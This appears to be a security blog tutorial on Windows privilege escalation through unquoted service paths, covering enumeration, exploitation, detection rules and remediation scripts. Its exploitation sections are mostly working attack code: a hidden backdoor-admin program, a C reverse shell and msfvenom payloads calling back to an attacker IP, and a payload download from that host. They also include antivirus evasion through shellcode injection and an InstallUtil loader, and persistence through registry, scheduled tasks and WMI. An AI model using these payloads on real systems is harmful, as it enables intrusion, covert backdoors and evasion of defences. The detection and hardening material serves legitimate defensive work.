Unquoted service path vulnerability diagram showing Windows path resolution and privilege escalation

Windows Privilege Escalation via Unquoted Service Path

Unquoted service path exploitation in Windows for privilege escalation, covering detection, exploitation techniques, and mitigation strategies.

Jan 29, 2026
Updated Dec 11, 2025
2 min read

Introduction

Unquoted Service Path vulnerabilities represent a classic privilege escalation vector in Windows environments that continues to plague systems despite being well-documented for over a decade. This vulnerability occurs when Windows services are configured with executable paths containing spaces but without proper quotation marks, allowing attackers to hijack service execution by placing malicious executables in intermediate directory paths.

The root cause lies in how Windows parses file paths. When the system encounters an unquoted path with spaces, it attempts to execute files at each space-delimited segment, working from left to right until it finds a valid executable. This behavior creates multiple injection points where an attacker with write permissions can place malicious binaries that execute with the privileges of the vulnerable service—often SYSTEM or Administrator.

While the concept is straightforward, unquoted service paths remain prevalent in enterprise environments, particularly in third-party applications and legacy software installations. According to security assessments, approximately 15-25% of enterprise Windows systems contain at least one exploitable unquoted service path vulnerability, making it a reliable privilege escalation technique during penetration tests and red team operations.

Why This Still Matters

Despite being documented since Windows XP, unquoted service path vulnerabilities persist because:

  • Third-party installers often fail to quote service paths during installation
  • Legacy applications created before security best practices were established
  • Administrative oversight during manual service configuration
  • Automated deployment scripts that don't enforce proper quoting
  • Limited detection in standard vulnerability scanners

This vulnerability requires local access but frequently provides a reliable path from user-level access to SYSTEM privileges.

Technical Background

Windows Path Resolution Behavior

Windows uses a specific algorithm when resolving executable paths that contain spaces and lack quotation marks. Understanding this resolution order is critical to exploiting unquoted service paths effectively.

Consider a service configured with the following unquoted path:

C:\Program Files\Vulnerable App\Service\binary.exe

When Windows attempts to start this service, it searches for executables in the following order:

First Attempt

Windows looks for: C:\Program.exe

If this file exists and is executable, Windows runs it instead of the intended service binary.

Second Attempt

If Program.exe doesn't exist, Windows tries: C:\Program Files\Vulnerable.exe

This requires write access to the Program Files directory (typically restricted).

Third Attempt

Next attempt: C:\Program Files\Vulnerable App\Service.exe

This location is more likely to be writable depending on directory permissions.

Final Attempt

Finally, Windows attempts: C:\Program Files\Vulnerable App\Service\binary.exe

This is the intended service executable path.

The key insight: Windows executes the first valid executable it finds in this search order. An attacker only needs write access to one of these intermediate directories to hijack service execution.

Service Privileges and Impact

The impact of exploiting an unquoted service path depends entirely on the privilege level at which the vulnerable service runs:

Service AccountPrivilege LevelAttack Impact
LocalSystemHighest system privilegesFull SYSTEM access, complete control
LocalServiceLimited system accountNetwork access, some registry keys
NetworkServiceNetwork-focused accountDomain authentication, network resources
AdministratorFull administrative rightsComplete system control
Custom Domain AccountVariable privilegesDepends on account permissions

Most third-party services run as LocalSystem or Administrator for compatibility reasons, making these vulnerabilities particularly valuable for privilege escalation.

Vulnerability Prerequisites

For successful exploitation, three conditions must be met:

  1. Unquoted Path with Spaces: Service path contains spaces without quotation marks
  2. Service Runs with Elevated Privileges: Service account has higher privileges than attacker
  3. Write Permissions: Attacker has write access to at least one intermediate directory

Permission Reality Check

While C:\Program Files is typically protected, many organizations:

  • Grant write permissions to subdirectories for application updates
  • Use custom installation paths outside Program Files (e.g., C:\Apps, D:\Software)
  • Configure folder permissions incorrectly during application deployment
  • Leave world-writable directories from legacy installations

Always check actual permissions rather than assuming standard Windows ACLs are in place.

Detection and Enumeration

PowerShell Enumeration

The most reliable method for identifying unquoted service paths uses PowerShell to query WMI:

# Method 1: Comprehensive service enumeration
Get-CimInstance -ClassName win32_service |
    Select-Object Name, State, PathName |
    Where-Object {
        $_.PathName -like "* *" -and
        $_.PathName -notlike '"*"' -and
        $_.State -like 'Running'
    } | Format-Table -AutoSize

# Method 2: Include stopped services (may be exploitable on reboot)
Get-CimInstance -ClassName win32_service |
    Select-Object Name, State, PathName, StartMode, StartName |
    Where-Object {
        $_.PathName -match "^[A-Z]:\\(?!.*\s.*).*\s.*\.exe" -and
        $_.PathName -notlike '"*"'
    } | Format-Table -Wrap

# Method 3: Filter for high-privilege services
Get-CimInstance -ClassName win32_service |
    Where-Object {
        $_.PathName -notmatch '^"' -and
        $_.PathName -match '\s' -and
        ($_.StartName -eq 'LocalSystem' -or $_.StartName -like '*Admin*')
    } | Select-Object Name, PathName, StartName, State, StartMode

Command Prompt Enumeration

For environments where PowerShell execution is restricted:

:: List all services with their paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

:: Alternative using sc query
sc query state= all | findstr "SERVICE_NAME:" >> services.txt
FOR /F "tokens=2" %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" | findstr /i /v "c:\windows\\" | findstr /i /v """

Automated Tools

Several tools automate the detection process:

# PowerUp (PowerSploit)
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Specific check for unquoted service paths
Get-ServiceUnquoted

# Filter for exploitable paths
Get-ServiceUnquoted | Where-Object {$_.AbuseFunction}

# Output example:
# ServiceName   : VulnerableService
# Path          : C:\Program Files\My App\service.exe
# ModifiablePath: C:\Program Files\My App
# StartName     : LocalSystem
# AbuseFunction : Install-ServiceBinary -Name 'VulnerableService'
# CanRestart    : True
# WinPEAS (Windows Privilege Escalation Awesome Scripts)
.\winPEASx64.exe quiet servicesinfo

# Look for output section:
# [+] Interesting Services -non Microsoft-
#   VulnerableService(Company Name)["C:\Program Files\My App\service.exe"] - Auto - Running - LocalSystem
#     File Permissions: Everyone [WriteData/CreateFiles]
#     Possible DLL Hijacking in binary folder: C:\Program Files\My App (Everyone [WriteData/CreateFiles])
#     Unquoted Service Path: C:\Program Files\My App\service.exe
# SharpUp (C# port of PowerUp)
.\SharpUp.exe audit

# Focused check
.\SharpUp.exe audit UnquotedServicePath

# Output includes:
# === Unquoted Service Paths ===
#
# ServiceName        : VulnerableService
# Path               : C:\Program Files\My App\service.exe
# StartName          : LocalSystem
# ModifiableDirectory: C:\Program Files\My App
# CanRestart         : True
# Custom PowerShell script with permission checking
$services = Get-CimInstance -ClassName win32_service |
    Where-Object {
        $_.PathName -notmatch '^"' -and
        $_.PathName -match '\s'
    }

foreach ($service in $services) {
    $path = $service.PathName -replace '"', '' -split ' -' | Select-Object -First 1
    $pathParts = $path.Split('\')

    for ($i = 1; $i -lt $pathParts.Length; $i++) {
        $testPath = ($pathParts[0..$i] -join '\')
        if ($testPath -like "*.exe") { continue }

        try {
            $acl = Get-Acl -Path $testPath -ErrorAction Stop
            $writeable = $acl.Access | Where-Object {
                $_.FileSystemRights -match 'Write|FullControl|Modify' -and
                $_.IdentityReference -match 'Users|Everyone|Authenticated'
            }

            if ($writeable) {
                [PSCustomObject]@{
                    ServiceName = $service.Name
                    ServicePath = $service.PathName
                    WriteablePath = $testPath
                    ServiceAccount = $service.StartName
                    ServiceState = $service.State
                    StartMode = $service.StartMode
                }
            }
        }
        catch { }
    }
}

Permission Verification

After identifying an unquoted service path, verify write permissions to intermediate directories:

# Check directory permissions with icacls
icacls "C:\Program Files\My App"

# Look for entries like:
# BUILTIN\Users:(OI)(CI)(M)          <-- Modify access for Users group
# Everyone:(OI)(CI)(F)               <-- Full control for Everyone
# NT AUTHORITY\Authenticated Users:(OI)(CI)(M)  <-- Modify for authenticated users

# Detailed PowerShell permission check
$path = "C:\Program Files\My App"
$acl = Get-Acl $path
$acl.Access | Where-Object {
    $_.FileSystemRights -match 'Write|Modify|FullControl'
} | Select-Object IdentityReference, FileSystemRights, AccessControlType

# Test actual write capability
try {
    $testFile = Join-Path $path "test_$(Get-Random).tmp"
    New-Item -Path $testFile -ItemType File -ErrorAction Stop
    Remove-Item $testFile -ErrorAction SilentlyContinue
    Write-Host "[+] Write access confirmed to: $path" -ForegroundColor Green
}
catch {
    Write-Host "[-] No write access to: $path" -ForegroundColor Red
}

Service Restart Capabilities

An exploitable unquoted service path requires the ability to restart the service:

# Check if current user can restart service
$serviceName = "VulnerableService"

# Method 1: Direct check with sc
sc sdshow $serviceName

# Look for these Security Descriptor Definition Language (SDDL) components:
# RP - Start service (SERVICE_START)
# WP - Stop service (SERVICE_STOP)

# Method 2: PowerShell test
try {
    Restart-Service -Name $serviceName -WhatIf -ErrorAction Stop
    Write-Host "[+] Can restart $serviceName" -ForegroundColor Green
}
catch {
    Write-Host "[-] Cannot restart $serviceName" -ForegroundColor Red
}

# Method 3: Check service permissions explicitly
$service = Get-Service -Name $serviceName
$servicePath = (Get-WmiObject Win32_Service -Filter "Name='$serviceName'").PathName

# Check if service starts on boot (exploitation via reboot)
$startMode = (Get-WmiObject Win32_Service -Filter "Name='$serviceName'").StartMode
if ($startMode -eq "Auto") {
    Write-Host "[+] Service starts automatically on boot" -ForegroundColor Green
}

Exploitation Techniques

Basic Exploitation Workflow

The exploitation process follows these steps:

Identify Vulnerable Service

Use enumeration techniques to find unquoted service paths with writable intermediate directories.

Verify Prerequisites

  • Confirm write permissions to target directory
  • Verify service runs with elevated privileges
  • Check if service can be restarted or starts on boot

Create Malicious Payload

Compile or obtain a malicious executable that matches the expected filename.

Deploy Payload

Copy the malicious binary to the writable intermediate directory.

Trigger Execution

Restart the service or reboot the system to execute the payload.

Verify Success

Confirm elevated access or payload execution.

Payload Creation

Create a simple malicious binary that adds a backdoor user account:

// adduser.c - Adds administrative user account
#include <stdlib.h>
#include <stdio.h>

int main() {
    // Add user account
    system("net user hacker P@ssw0rd123! /add");

    // Add to administrators group
    system("net localgroup administrators hacker /add");

    // Hide from login screen (optional)
    system("reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v hacker /t REG_DWORD /d 0 /f");

    return 0;
}

Cross-compile on Linux using MinGW:

# For 64-bit Windows
x86_64-w64-mingw32-gcc adduser.c -o Program.exe

# For 32-bit Windows
i686-w64-mingw32-gcc adduser.c -o Program.exe

# Verify compilation
file Program.exe
# Output: Program.exe: PE32+ executable (console) x86-64, for MS Windows

Reverse Shell Payload

For interactive access, create a reverse shell payload:

// reverse_shell.c - Windows reverse shell
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")

#define TARGET_IP "10.10.14.5"
#define TARGET_PORT 4444

int main() {
    WSADATA wsaData;
    SOCKET s;
    struct sockaddr_in server;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    // Initialize Winsock
    WSAStartup(MAKEWORD(2,2), &wsaData);

    // Create socket
    s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // Connect to attacker
    server.sin_family = AF_INET;
    server.sin_port = htons(TARGET_PORT);
    server.sin_addr.s_addr = inet_addr(TARGET_IP);
    connect(s, (struct sockaddr *)&server, sizeof(server));

    // Redirect I/O to socket
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;

    // Spawn cmd.exe
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Cleanup
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    closesocket(s);
    WSACleanup();

    return 0;
}

Compile with MinGW:

# Compile reverse shell
x86_64-w64-mingw32-gcc reverse_shell.c -o Program.exe -lws2_32 -s

# Strip symbols for smaller size
x86_64-w64-mingw32-strip Program.exe

# Start listener on attack machine
nc -lvnp 4444

Using MSFVenom Payloads

Generate payloads using Metasploit Framework:

# Windows reverse TCP shell
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -o Program.exe

# Windows Meterpreter reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -o Program.exe

# Encoded payload to evade AV (example)
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -e x64/xor_dynamic \
    -i 5 \
    -o Program.exe

# Start listener
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"

Exploitation Example Scenario

Complete walkthrough of exploiting a vulnerable service:

# 1. Enumerate services and find vulnerable path
PS C:\> Get-CimInstance -ClassName win32_service |
    Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match '\s'} |
    Select-Object Name, PathName, StartName

# Output:
# Name              : VulnService
# PathName          : C:\Program Files\Acme Corp\Service Manager\service.exe
# StartName         : LocalSystem

# 2. Check directory permissions
PS C:\> icacls "C:\Program Files\Acme Corp"

# Output:
# BUILTIN\Users:(OI)(CI)(M)  <-- Users have Modify access!

# 3. Transfer malicious payload
PS C:\> Invoke-WebRequest -Uri http://10.10.14.5:8080/Program.exe -OutFile "C:\Program Files\Acme.exe"

# 4. Verify payload placement
PS C:\> Test-Path "C:\Program Files\Acme.exe"
# True

# 5. Restart the service
PS C:\> Stop-Service -Name VulnService
PS C:\> Start-Service -Name VulnService

# 6. Check for new admin account (if using adduser payload)
PS C:\> net user hacker
# User name                    hacker
# Full Name
# Local Group Memberships      *Administrators       *Users

On the attacker's machine:

# Start HTTP server for payload delivery
python3 -m http.server 8080

# Start netcat listener (if using reverse shell)
nc -lvnp 4444

# Wait for connection...
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.45] 49826
Microsoft Windows [Version 10.0.19044.1234]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Advanced Exploitation Scenarios

Scenario 1: No Service Restart Permissions

If you cannot restart the service but it starts automatically on boot:

# 1. Plant malicious binary
Copy-Item .\Program.exe -Destination "C:\Program Files\Acme.exe"

# 2. Check service start mode
Get-CimInstance -ClassName win32_service -Filter "Name='VulnService'" |
    Select-Object StartMode

# If StartMode is "Auto", wait for reboot or...

# 3. Check if system has scheduled reboot
schtasks /query /fo LIST | findstr /C:"Reboot" /C:"Restart"

# 4. Monitor for service restart events
Get-EventLog -LogName System -Source "Service Control Manager" -Newest 50 |
    Where-Object {$_.Message -match "VulnService"}

# Alternative: Force system reboot (if you have permissions)
shutdown /r /t 60 /c "System will restart in 60 seconds"

Scenario 2: Multiple Unquoted Paths

When multiple paths are available, prioritize based on writeability and service privilege:

# Create prioritization script
$results = @()

Get-CimInstance -ClassName win32_service |
    Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match '\s'} |
    ForEach-Object {
        $serviceName = $_.Name
        $servicePath = $_.PathName
        $serviceAccount = $_.StartName
        $serviceState = $_.State

        # Parse potential injection points
        $pathWithoutArgs = ($servicePath -split ' -')[0] -replace '"', ''
        $pathParts = $pathWithoutArgs.Split('\')

        for ($i = 1; $i -lt $pathParts.Length - 1; $i++) {
            $testPath = ($pathParts[0..$i] -join '\')
            $execName = $pathParts[$i + 1].Split('.')[0] + '.exe'
            $fullExecPath = Join-Path $testPath $execName

            # Check if directory is writable
            try {
                $acl = Get-Acl -Path $testPath -ErrorAction Stop
                $writable = $acl.Access | Where-Object {
                    $_.FileSystemRights -match 'Write|Modify|FullControl' -and
                    $_.AccessControlType -eq 'Allow'
                }

                if ($writable) {
                    $priority = 0
                    if ($serviceAccount -eq 'LocalSystem') { $priority += 10 }
                    if ($serviceState -eq 'Running') { $priority += 5 }
                    if ($testPath -notmatch 'Program Files') { $priority += 3 }

                    $results += [PSCustomObject]@{
                        Priority = $priority
                        Service = $serviceName
                        Account = $serviceAccount
                        State = $serviceState
                        InjectPath = $fullExecPath
                        Directory = $testPath
                    }
                }
            }
            catch { }
        }
    }

# Display prioritized targets
$results | Sort-Object -Property Priority -Descending | Format-Table -AutoSize

Scenario 3: Antivirus Evasion

When AV is present, use obfuscation techniques:

// inject.c - Inject shellcode into existing process
#include <windows.h>
#include <tlhelp32.h>

// XOR-encoded shellcode (decode at runtime)
unsigned char shellcode[] = "\xfc\x48\x83\xe4...";

int main() {
    // Find target process (e.g., svchost.exe)
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    DWORD targetPID = 0;
    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (strcmp(pe32.szExeFile, "svchost.exe") == 0) {
                targetPID = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }
    CloseHandle(hSnapshot);

    // Open target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

    // Allocate memory in target
    LPVOID addr = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
                                 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Write shellcode
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), NULL);

    // Execute via thread
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                       (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}
# Use legitimate signed binary as loader

# 1. Find binary with DLL sideloading vulnerability
# Example: Many applications load DLLs from current directory first

# 2. Create malicious DLL with expected export names
# (requires reverse engineering target application)

# 3. Place DLL alongside legitimate executable
Copy-Item .\malicious.dll -Destination "C:\Program Files\Acme Corp\version.dll"

# 4. Rename legitimate executable
Rename-Item "C:\Program Files\Acme Corp\service.exe" -NewName "service_real.exe"

# 5. Create proxy executable that loads DLL then calls real service
# (stub executable that forwards to service_real.exe)
# Use Microsoft-signed binaries as living-off-the-land technique

# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f csharp

# Create InstallUtil payload wrapper
cat > Program.cs <<'EOF'
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Configuration.Install;

[System.ComponentModel.RunInstaller(true)]
public class Program : Installer
{
    public override void Uninstall(System.Collections.IDictionary saved)
    {
        // Shellcode here
        byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83... };

        UIntPtr addr = VirtualAlloc(UIntPtr.Zero, (uint)shellcode.Length,
                                    0x3000, 0x40);
        Marshal.Copy(shellcode, 0, (IntPtr)addr, shellcode.Length);

        IntPtr hThread = CreateThread(UIntPtr.Zero, 0, addr,
                                      IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }

    [DllImport("kernel32")]
    private static extern UIntPtr VirtualAlloc(UIntPtr lpAddress, uint dwSize,
                                               uint flAllocationType, uint flProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UIntPtr lpThreadAttributes, uint dwStackSize,
                                              UIntPtr lpStartAddress, IntPtr param,
                                              uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32")]
    private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
EOF

# Compile
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library Program.cs

# Execute via InstallUtil (Microsoft-signed)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Program.dll
# Multi-stage payload with environmental keying

# Stage 1: Dropper checks for specific conditions
msfvenom -p windows/x64/custom/reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    --encrypt xor \
    --encrypt-key "MySecretKey123" \
    -o stage1.exe

# Stage 2: Payload only executes in specific environment
# (e.g., only when run as SYSTEM, only on specific hostname, etc.)

# Compile with environmental checks
cat > checked_payload.c <<'EOF'
#include <windows.h>
#include <string.h>

int main() {
    char username[256];
    DWORD size = sizeof(username);
    GetUserName(username, &size);

    // Only execute if running as SYSTEM
    if (strcmp(username, "SYSTEM") == 0) {
        // Decode and execute payload
        unsigned char payload[] = { /* encrypted shellcode */ };
        // ... execution code ...
    }

    return 0;
}
EOF

Scenario 4: Post-Exploitation Persistence

After gaining SYSTEM access, establish persistent backdoors:

# Create new administrative account
net user backdoor "P@ssw0rd123!" /add
net localgroup administrators backdoor /add

# Hide account from login screen
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f

# Create scheduled task for persistence
schtasks /create /tn "SystemMaintenance" /tr "C:\Windows\System32\backdoor.exe" /sc onlogon /ru SYSTEM /f

# Add registry run key
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\System32\backdoor.exe" /f

# Create WMI event subscription
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "SystemBootTrigger"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "SystemBootConsumer"
    CommandLineTemplate = "C:\Windows\System32\backdoor.exe"
}

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Detection and Monitoring

Event Log Indicators

Monitor Windows Event Logs for exploitation indicators:

# Service start/stop events with unusual executables
Get-WinEvent -FilterHashtable @{
    LogName='System'
    ID=7036,7040,7045
} | Where-Object {
    $_.Message -match 'Program\.exe|Files\\.*\.exe' -and
    $_.Message -notmatch 'C:\\Windows'
} | Select-Object TimeCreated, Id, Message

# File creation in Program Files (requires file system auditing)
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4663
} | Where-Object {
    $_.Properties[6].Value -match 'C:\\Program Files' -and
    $_.Properties[8].Value -match 'WriteData'
}

# Process creation from service accounts
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4688
} | Where-Object {
    $_.Properties[1].Value -eq 'NT AUTHORITY\SYSTEM' -and
    $_.Properties[5].Value -match 'Program\.exe|Files\\.*(?<!system32).*\.exe'
}

Proactive Scanning

Regularly scan for unquoted service paths:

# Scheduled task to detect vulnerable services
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-ExecutionPolicy Bypass -Command "Get-CimInstance win32_service | Where-Object {$_.PathName -notmatch ''^\"'' -and $_.PathName -match ''\s''} | Export-Csv C:\SecurityScans\unquoted_services.csv -NoTypeInformation"'

$trigger = New-ScheduledTaskTrigger -Weekly -DaysOfWeek Monday -At 2am

Register-ScheduledTask -TaskName "UnquotedServiceScan" -Action $action -Trigger $trigger -RunLevel Highest

# Email alert on detection
$services = Import-Csv C:\SecurityScans\unquoted_services.csv
if ($services.Count -gt 0) {
    Send-MailMessage -To "[email protected]" -From "[email protected]" -Subject "Unquoted Service Paths Detected" -Body "Found $($services.Count) vulnerable services" -SmtpServer "smtp.company.com"
}

SIEM Detection Rules

Splunk query for unquoted service path exploitation:

index=windows sourcetype=WinEventLog:System EventCode=7045
| rex field=Message "(?<ServicePath>[A-Z]:\\[^\"]+\s[^\"]+\.exe)"
| where isnotnull(ServicePath)
| eval IsUnquoted=if(match(ServicePath, "^\".*\"$"), 0, 1)
| where IsUnquoted=1
| stats count by ServicePath, ServiceName, ServiceAccount
| where count > 0

Elastic Stack (EQL) detection rule:

sequence by host.name
  [process where event.type == "start" and
   process.parent.name == "services.exe" and
   process.executable : "?:\\Program*.exe" and
   not process.executable : "?:\\Program Files\\*\\*\\*.exe"]
  [file where event.type == "creation" and
   file.path : "?:\\Program*.exe"]

Sigma Rule

title: Unquoted Service Path Exploitation
id: 8c7a03ea-1a10-4ea8-b840-07cc0c55e9b8
status: experimental
description: Detects execution of binaries from unquoted service path locations
references:
    - https://attack.mitre.org/techniques/T1574/009/
tags:
    - attack.privilege_escalation
    - attack.t1574.009
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
    filter:
        ServiceFileName|re: '^[A-Z]:\\Program [^\\]+\.exe'
    condition: selection and filter
falsepositives:
    - Legitimate software with unusual installation paths
level: high

Mitigation and Remediation

Immediate Remediation

Fix vulnerable services by quoting service paths:

# Method 1: PowerShell remediation
$services = Get-CimInstance -ClassName win32_service |
    Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match '\s'}

foreach ($service in $services) {
    $serviceName = $service.Name
    $oldPath = $service.PathName

    # Extract executable path and arguments
    if ($oldPath -match '^(.+?\.exe)(.*)$') {
        $exePath = $matches[1]
        $args = $matches[2]
        $newPath = "`"$exePath`"$args"

        # Update service path
        & sc.exe config $serviceName binPath= $newPath

        Write-Host "Fixed: $serviceName" -ForegroundColor Green
        Write-Host "  Old: $oldPath" -ForegroundColor Yellow
        Write-Host "  New: $newPath" -ForegroundColor Green
    }
}

# Method 2: Direct sc.exe command
sc.exe config "VulnService" binPath= "\"C:\Program Files\My App\service.exe\""

# Method 3: Registry modification (requires reboot)
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\VulnService"
Set-ItemProperty -Path $regPath -Name "ImagePath" -Value "`"C:\Program Files\My App\service.exe`""

Bulk Remediation Script

# Comprehensive remediation with logging and rollback
$logFile = "C:\Remediation\service_path_fixes_$(Get-Date -Format 'yyyyMMdd_HHmmss').log"
$backupFile = "C:\Remediation\service_path_backup_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"

# Backup current configurations
Get-CimInstance -ClassName win32_service |
    Select-Object Name, PathName, StartName, StartMode |
    Export-Csv $backupFile -NoTypeInformation

# Identify and fix vulnerable services
$vulnerable = Get-CimInstance -ClassName win32_service |
    Where-Object {
        $_.PathName -notmatch '^"' -and
        $_.PathName -match '\s' -and
        $_.PathName -match '\.exe'
    }

$results = @()

foreach ($service in $vulnerable) {
    $serviceName = $service.Name
    $oldPath = $service.PathName

    try {
        # Parse path and arguments
        if ($oldPath -match '^([A-Z]:\\.+?\.exe)(.*)$') {
            $exePath = $matches[1].Trim()
            $args = $matches[2].Trim()
            $newPath = "`"$exePath`"" + $(if($args){" $args"}else{""})

            # Verify executable exists
            $exeOnly = $exePath -split ' -' | Select-Object -First 1
            if (-not (Test-Path $exeOnly)) {
                throw "Executable not found: $exeOnly"
            }

            # Update service configuration
            $result = & sc.exe config $serviceName binPath= $newPath 2>&1

            if ($LASTEXITCODE -eq 0) {
                $status = "SUCCESS"
                $message = "Service path successfully quoted"
            }
            else {
                $status = "FAILED"
                $message = $result
            }
        }
        else {
            $status = "SKIPPED"
            $message = "Unable to parse service path"
            $newPath = $oldPath
        }
    }
    catch {
        $status = "ERROR"
        $message = $_.Exception.Message
        $newPath = $oldPath
    }

    $results += [PSCustomObject]@{
        Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
        ServiceName = $serviceName
        Status = $status
        OldPath = $oldPath
        NewPath = $newPath
        Message = $message
    }
}

# Export results
$results | Export-Csv $logFile -NoTypeInformation
$results | Format-Table -AutoSize

# Summary
Write-Host "`nRemediation Summary:" -ForegroundColor Cyan
Write-Host "Total Vulnerable Services: $($results.Count)" -ForegroundColor Yellow
Write-Host "Successfully Fixed: $(($results | Where-Object {$_.Status -eq 'SUCCESS'}).Count)" -ForegroundColor Green
Write-Host "Failed: $(($results | Where-Object {$_.Status -eq 'FAILED'}).Count)" -ForegroundColor Red
Write-Host "`nBackup saved to: $backupFile" -ForegroundColor Cyan
Write-Host "Log saved to: $logFile" -ForegroundColor Cyan

Preventive Measures

Group Policy Configuration

While Windows doesn't have a built-in GPO setting to enforce quoted service paths, you can implement monitoring:

# Create GPO to audit service changes
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > System Audit Policies > System > Audit Security System Extension

# Enable service change auditing
auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable

# Create scheduled task to scan and report
$gpoPath = "\\domain.local\SYSVOL\domain.local\Policies\{GPO-GUID}\Machine\Scripts\Startup"
Copy-Item .\UnquotedServiceScan.ps1 -Destination $gpoPath

File System Permissions Hardening

Restrict write access to Program Files and other common installation directories:

# Remove write permissions for Users group
icacls "C:\Program Files" /remove:g "BUILTIN\Users" /t
icacls "C:\Program Files (x86)" /remove:g "BUILTIN\Users" /t

# Set proper permissions
icacls "C:\Program Files" /grant:r "BUILTIN\Administrators:(OI)(CI)F" /t
icacls "C:\Program Files" /grant:r "BUILTIN\Users:(OI)(CI)RX" /t

# Verify permissions
icacls "C:\Program Files" | Select-String "BUILTIN\\Users"

# Create audit rule for write attempts
$acl = Get-Acl "C:\Program Files"
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "Write",
    "ContainerInherit,ObjectInherit",
    "None",
    "Failure"
)
$acl.AddAuditRule($auditRule)
Set-Acl "C:\Program Files" $acl

Application Deployment Standards

Implement secure deployment practices:

# Standard installation template
function Install-SecureService {
    param(
        [string]$ServiceName,
        [string]$DisplayName,
        [string]$ExecutablePath,
        [string]$ServiceAccount = "LocalSystem"
    )

    # Validate executable path
    if (-not (Test-Path $ExecutablePath)) {
        throw "Executable not found: $ExecutablePath"
    }

    # Ensure path is quoted if it contains spaces
    $quotedPath = if ($ExecutablePath -match '\s') {
        "`"$ExecutablePath`""
    } else {
        $ExecutablePath
    }

    # Create service
    New-Service -Name $ServiceName `
                -DisplayName $DisplayName `
                -BinaryPathName $quotedPath `
                -StartupType Automatic `
                -Credential $ServiceAccount

    # Verify configuration
    $service = Get-CimInstance -ClassName win32_service -Filter "Name='$ServiceName'"
    if ($service.PathName -notmatch '^".*"$' -and $service.PathName -match '\s') {
        Write-Warning "Service path may be vulnerable: $($service.PathName)"
    }
    else {
        Write-Host "Service created securely: $ServiceName" -ForegroundColor Green
    }
}

# Usage
Install-SecureService -ServiceName "MyApp" `
